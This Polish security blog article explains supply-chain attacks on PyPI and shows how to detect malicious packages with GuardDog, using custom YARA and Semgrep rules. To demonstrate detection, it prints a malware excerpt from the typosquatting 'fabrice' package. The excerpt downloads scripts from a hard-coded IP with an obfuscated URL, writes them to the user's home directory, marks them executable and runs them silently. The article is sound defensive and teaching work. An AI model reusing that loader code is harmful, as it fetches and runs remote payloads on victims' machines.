NFsec Logo

Znajdowanie złośliwych pakietów PyPI

11/12/2024 w Bezpieczeństwo Brak komentarzy.  (artykuł nr 917, ilość słów: 1831)

P

rzez ostatni rok branża odnotowała wzrost ataków wymierzonych w łańcuch dostaw oprogramowania (ang. supply chain threats). Złośliwa modyfikacja w tym ataku obejmuje narzędzia, kod i infrastrukturę potrzebną do wdrożenia aplikacji (często z wykorzystaniem komponentów open source lub zewnętrznych dostawców). Jednym z powszechnych sposobów przeprowadzania tych ataków przez cyberprzestępców jest kompromitacja lub przesyłanie złośliwych zależności do repozytoriów pakietów języka Python – Python Package Index (PyPI). W ramach PyPI, które jest szanowanym oraz akceptowanym repozytorium i hostuje oszałamiającą liczbę pakietów języka Python, wyłoniła się niepokojąca rzeczywistość. Niezrównana popularność repozytorium nieumyślnie przyciągnęła uwagę nieuczciwych podmiotów, które żarliwie starają się wykorzystać jego ogromną bazę użytkowników, potajemnie rozpowszechniając złośliwe pakiety.

Z założenia, jeśli ktoś zakłada projekt PyPI to tylko osoby powiązane z tym projektem powinny móc przesyłać, usuwać lub w inny sposób modyfikować ten projekt. Z kolei od strony użytkownika jeśli zobaczymy, że jest on autorstwa kogoś komu ufamy powinniśmy być pewni, że nikt inny nie wprowadza zmian w tym projekcie. Od strony serwisu bezpieczeństwo każdego indywidualnego konta na PyPI opiera się na obsłudze 2FA przy użyciu TOTP i WebAuthN, obsługę tokenów API oraz umożliwienie przesyłania plików za pomocą tokenów o krótkim czasie życia. Do niedawna tylko najczęściej pobierane projekty obowiązywało włączenie 2FA. Teraz do końca 2023 roku w ramach długoterminowego zabezpieczania ekosystemu Pythona każde konto obsługujące jakikolwiek projekt lub organizację na PyPI musiało włączyć 2FA.

Ruch ten jednak nie rozwiąże wszystkich problemów, ponieważ każdy etap życia oprogramowania jest podatny na atak – od przechowywania kodu źródłowego po platformę kompilacji. Wśród tych potencjalnych punktów podatności na szczególną uwagę zasługują zależności, ponieważ oferują one łatwo dostępną drogę do aplikacji i jej użytkowników. Ponieważ pakiety oprogramowania open source są tak szeroko używane, stanowią kuszący i łatwy cel dla atakujących, a PyPI nie jest wyjątkiem. Zaobserwowane w przeszłości złośliwe pakiety umożliwiły aktorom dostęp do maszyn i środowisk produkcyjnych w celu kradzieży wrażliwych danych, uruchamiania koni trojańskich i cryptojackingu.

Typowy atak:

W celu uzyskania dostępu do systemu, osoby atakujące często wykorzystują technikę typosquattingu, w której cyberprzestępca celowo nazywa pakiet tak, aby swoją podobizną naśladował inny popularny. To nakłania programistów, którzy popełnili błąd w pisowni do zainstalowania złośliwego pakietu. Inne techniki infekcji obejmują włamanie się na konto opiekuna popularnego pakietu lub jego konto e-mail. Po zainstalowaniu złośliwego pakietu zazwyczaj wykonuje on bezpośrednio ładunek (ang. payload) za pośrednictwem funkcji exec() lub eval(). Inne warianty pobierają kolejny plik wykonywalny uruchamiający drugi etap infekcji (ang. stage #2). Złośliwy kod często wykonywany jest podczas instalacji, definiując szkodliwe instrukcję w pliku __init__.py, który jest automatycznie wykonywany po zaimportowaniu modułu. Istnieją również wersje, które robią to dopiero w skryptach poinstalacyjnych. Ostatnim etapem jest eksfiltracja danych. Informacje systemowe, zmienne środowiskowe, hasła, klucze, ciasteczka, tokeny i inne wszystkie wrażliwe rzeczy są wysyłane (zwykle za pośrednictwem żądań HTTP(S)) na zdalny serwer.

Obrona:

Narzędzia do statycznej analizy kodu są zwykle używane do identyfikacji podatności. Na tej samej podstawie firma Datadog stworzyła projekt GuardDog, który wykorzystuje tę samą technikę do identyfikowania złośliwych pakietów Python. Oprócz tego jest używany jeszcze mechanizm heurystyki, który identyfikuje typowe (patrz wyżej) techniki używane przez atakujących, a nie tylko sygnatury znanych szkodliwych pakietów – można go używać do identyfikowania złośliwych pakietów, których jeszcze nie widziano w szumie internetu. Mechanizm ten skanuje dwie lokalizację: kod źródłowy oraz metadane pakietu na repozytorium PyPI. Sercem heurystyki jest inne popularne narzędzie Semgrep. Funkcja śledzenia zanieczyszczeń w kodzie, która analizuje przepływ danych przez kod, jest szczególnie przydatna przy wykrywaniu eksfiltracji danych i pobierania plików wykonywalnych. W dodatku od wersji 2.0 GuardDog obsługuje również reguły YARA służące do wyszukiwania złożonych indykatorów tekstowych i binarnych umieszczonych w plikach lub w pamięci. Umożliwia to użytkownikom na korzystanie z bogatego zbioru publicznie dostępnych reguł, aby wykrywać więcej złośliwego oprogramowania powiązanego z konkretnymi zagrożeniami. Dla przykładu przeanalizujmy krótki wycinek szkodliwego kodu. Pochodzi on z pakietu fabrice udającego pakiet fabric

def linuxThread():
    try:
        home = expanduser("~")
        directory = home + "/.local/bin/vscode"
        fileE = home + "/.local/bin/vscode" + "/per.sh"
        
        if not os.path.exists(directory):
            os.makedirs(directory)

        # Download content from external server
        a4 = "ht" + "tp" + ":" + "//" + "89.44.9.227" + "/likjfieksce"
        response = requests.get(a4)
        text = response.text
        # Split the response data into multiple files
        dataList, finalList = [], []
        for line in text.splitlines():
            if "SPLITT" in line:
                finalList.append(dataList)
                dataList = []
            else:
                if "directory" in line:
                    line = line.replace("{directory}", directory)
                dataList.append(line)

        # Create and write to shell script files
        with open(directory + "/service.sh", "w") as fp:
            for line in finalList[0]:
                fp.write(line + "\n")
        with open(directory + "/app.py", "w") as fp:
            for line in finalList[1]:
                fp.write(line + "\n")
        with open(directory + "/info.py", "w") as fp:
            for line in finalList[2]:
                fp.write(line + "\n")
        with open(directory + "/per.sh", "w") as fp:
            for line in finalList[3]:
                fp.write(line + "\n")

        # Set execute permissions and run the script
        os.chmod(fileE, 0o755)
        subprocess.check_call(fileE, stdout=subprocess.DEVNULL, stderr=subprocess.STDOUT)
        
    except Exception as e:
        pass

Kod ten zapisujemy jako plik: malware.py i pakujemy do postaci .tar.gz. Kolejnym krokiem jest instalacja GuardDog:

cd VMS
python3 -m venv guarddog
source guarddog/bin/activate
pip install guarddog

Dla przykładu stworzymy teraz dwie, dodatkowe reguły wyłapujące “anomalię” w kodzie. Pierwsza z nich będzie oparta o silnik YARA i będzie wyłapywać publiczny adres IP:

rule strange_IP_address {
  strings:
    $ipv4 = /[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}/
    $lan_a = /(10)(\.([2]([0-5][0-5]|[01234][6-9])|[1][0-9][0-9]|[1-9][0-9]|[0-9])){3}/
    $lan_b = /(172)\.(1[6-9]|2[0-9]|3[0-1])(\.(2[0-4]\d|25[0-5]|1\d\d|\d{1,2})){2}/
    $lan_c = /(192)\.(168)(\.(25[0-5]|2[0-4][0-9]|1[0-9][0-9]|[1-9][0-9]|[0-9])){2}/
    $localhost = /(127)\.0\.0\.1/
  condition:
    $ipv4 and not ($lan_a or $lan_b or $lan_c or $localhost)
}

Druga będzie oparta o silnik Semgrep i będzie wyłapywać konkatenację dla ciągu tekstowego: “http://“:

rules:
  - id: http-concatenation
    languages:
      - python
    message: Found http string concatenation
    patterns:
      - pattern-regex: \"ht\"\s\+\s\"tp"\s\+\s\":\"\s\+\s\"\/\/\"
    severity: ERROR

Jeśli teraz skopiujemy stworzone reguły do katalogu: guarddog/analyzer/sourcecode i przeskanujemy sfabrykowaną paczkę powinniśmy otrzymać dwie detekcje:

agresor@darkstar~$ guarddog pypi scan /VMS/malware.tar.gz
Found 2 potentially malicious indicators in /VMS/malware.tar.gz

http-concatenation: found 1 source code matches
  * Found http string concatenation at malware.py:11
        a4 = "ht" + "tp" + ":" + "//" + "89.44.9.227" + "/likjfieksce"

strange_IP_address: found 1 source code matches
  * strange_IP_address rule matched at malware.py:331
        b'89.44.9.227'

W ten sposób możemy również skanować pakiety bezpośrednio z repozytorium PyPI przed ich instalacją:

agresor@darkstar~$ guarddog pypi scan httpx
Found 0 potentially malicious indicators scanning httpx

Jak widzimy GuardDog może stanowić dobry i elastyczny mechanizm do integracji z systemami CI/CD. Ponadto, jeśli nie działamy na tak wielką skalę wdrożeniową możemy go wykorzystywać jako doraźny skaner przed instalacją nowej paczki lub nowej wersji znanej nam paczki w swoich prywatnych projektach. Dzięki możliwości pisania własnych reguł w dwóch zaawansowanych silnikach zespoły bezpieczeństwa mogą bardzo szybko aktualizować reguły dla zespołów programistycznych o pojawiające się zagrożenia lub nowe pomysły atakujących mające na celu ominięcie detekcji.

Podsumowanie:

Rozwój i rozpowszechnienie oprogramowania typu open source wraz z menedżerami pakietów sprawiły, że atakującym łatwiej niż kiedykolwiek jest przemycać niebezpieczne pakiety do niczego podejrzewających systemów. Wraz ze wzrostem wszechobecności oprogramowania w naszym codziennym życiu, zagrożenie złośliwymi pakietami stało się poważniejsze. Atakujący maskują te pakiety jako legalne oprogramowanie i wykorzystują luki oraz błędy ludzkie, aby przełamać w ten sposób zewnętrzne zabezpieczenia. Tego typu infekcje mogą skończyć się znacznymi szkodami w postaci kradzieży danych, nadmiernym użyciem mocy obliczeniowej lub przejęciem kontroli nad systemem i siecią. Walka z tego typu zagrożeniem powinna zacząć się od każdego programisty, który dzisiaj musi traktować bezpieczeństwo swojego oprogramowania na każdym etapie jego rozwoju – niezależnie czy jest to projekt prywatny czy firmowy. Wdrożenie solidnych środków bezpieczeństwa poczynając od kont do serwisów umożliwiających rozwój i hostowanie oprogramowania, po automatyczne skanowanie i testowanie kodu wraz z zależnościami (o ręcznym przeglądzie zmian w kodzie i testach penetracyjnych nie wspominając). Ponadto, bycie na bieżąco z poprawkami, czy aktualizacjami do systemów i programów, na których się tworzy oprogramowanie skutecznie pomaga uniemożliwić atakującym wykorzystanie znanych luk.

Więcej informacji: Finding malicious PyPI packages through static code analysis: Meet GuardDog, Introducing GuardDog 2.0: YARA scanning, user-supplied rules, and Golang support, Writing YARA rules, Writing Semgrep rules, Python i atak na łańcuch dostaw

Kategorie K a t e g o r i e : Bezpieczeństwo

Tagi T a g i : , , , , , , , , ,

Komentowanie tego wpisu jest zablokowane.